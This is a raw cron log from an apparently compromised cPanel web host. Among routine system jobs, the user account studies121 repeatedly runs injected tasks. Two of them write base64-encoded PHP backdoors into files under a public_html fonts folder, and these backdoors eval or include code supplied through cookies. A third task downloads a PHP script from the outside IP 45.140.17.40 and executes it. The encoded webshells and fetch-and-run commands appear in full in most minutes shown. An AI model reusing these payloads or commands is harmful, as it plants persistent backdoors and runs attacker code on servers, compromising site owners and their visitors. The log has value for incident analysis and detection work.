Sep 21 07:41:01 ip-184-168-122-23 CROND[16611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:41:01 ip-184-168-122-23 CROND[16613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:41:01 ip-184-168-122-23 CROND[16612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:42:01 ip-184-168-122-23 CROND[16753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:42:01 ip-184-168-122-23 CROND[16757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:42:01 ip-184-168-122-23 CROND[16755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:42:01 ip-184-168-122-23 CROND[16758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:42:01 ip-184-168-122-23 CROND[16756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:43:01 ip-184-168-122-23 CROND[16888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:43:01 ip-184-168-122-23 CROND[16890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:43:01 ip-184-168-122-23 CROND[16891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:43:01 ip-184-168-122-23 CROND[16892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:44:01 ip-184-168-122-23 CROND[17003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:44:01 ip-184-168-122-23 CROND[17006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:44:01 ip-184-168-122-23 CROND[17004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:44:01 ip-184-168-122-23 CROND[17005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:44:01 ip-184-168-122-23 CROND[17007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:45:01 ip-184-168-122-23 CROND[17220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:45:01 ip-184-168-122-23 CROND[17221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:45:01 ip-184-168-122-23 CROND[17222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:45:01 ip-184-168-122-23 CROND[17225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:45:01 ip-184-168-122-23 CROND[17226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:45:01 ip-184-168-122-23 CROND[17227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:46:01 ip-184-168-122-23 CROND[17356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:46:02 ip-184-168-122-23 CROND[17357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:46:02 ip-184-168-122-23 CROND[17364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:46:02 ip-184-168-122-23 CROND[17363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:46:02 ip-184-168-122-23 CROND[17360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:46:02 ip-184-168-122-23 CROND[17361]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 07:46:02 ip-184-168-122-23 CROND[17362]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 07:47:01 ip-184-168-122-23 CROND[17512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:47:01 ip-184-168-122-23 CROND[17514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:47:01 ip-184-168-122-23 CROND[17515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:47:01 ip-184-168-122-23 CROND[17516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:48:01 ip-184-168-122-23 CROND[17631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:48:01 ip-184-168-122-23 CROND[17635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:48:01 ip-184-168-122-23 CROND[17633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:48:01 ip-184-168-122-23 CROND[17634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:48:01 ip-184-168-122-23 CROND[17636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:49:01 ip-184-168-122-23 CROND[17751]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 21 07:49:01 ip-184-168-122-23 CROND[17753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:49:01 ip-184-168-122-23 CROND[17754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:49:01 ip-184-168-122-23 CROND[17752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:49:01 ip-184-168-122-23 CROND[17755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:50:01 ip-184-168-122-23 CROND[17920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:50:01 ip-184-168-122-23 CROND[17921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 07:50:01 ip-184-168-122-23 CROND[17923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:50:01 ip-184-168-122-23 CROND[17926]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 07:50:01 ip-184-168-122-23 CROND[17930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:50:01 ip-184-168-122-23 CROND[17931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:50:01 ip-184-168-122-23 CROND[17933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:50:01 ip-184-168-122-23 CROND[17929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:50:01 ip-184-168-122-23 CROND[17934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:51:01 ip-184-168-122-23 CROND[18199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:51:01 ip-184-168-122-23 CROND[18200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:51:01 ip-184-168-122-23 CROND[18201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:51:01 ip-184-168-122-23 CROND[18203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:52:01 ip-184-168-122-23 CROND[18317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:52:01 ip-184-168-122-23 CROND[18318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:52:01 ip-184-168-122-23 CROND[18321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:52:01 ip-184-168-122-23 CROND[18319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:52:02 ip-184-168-122-23 CROND[18320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:53:01 ip-184-168-122-23 CROND[18496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
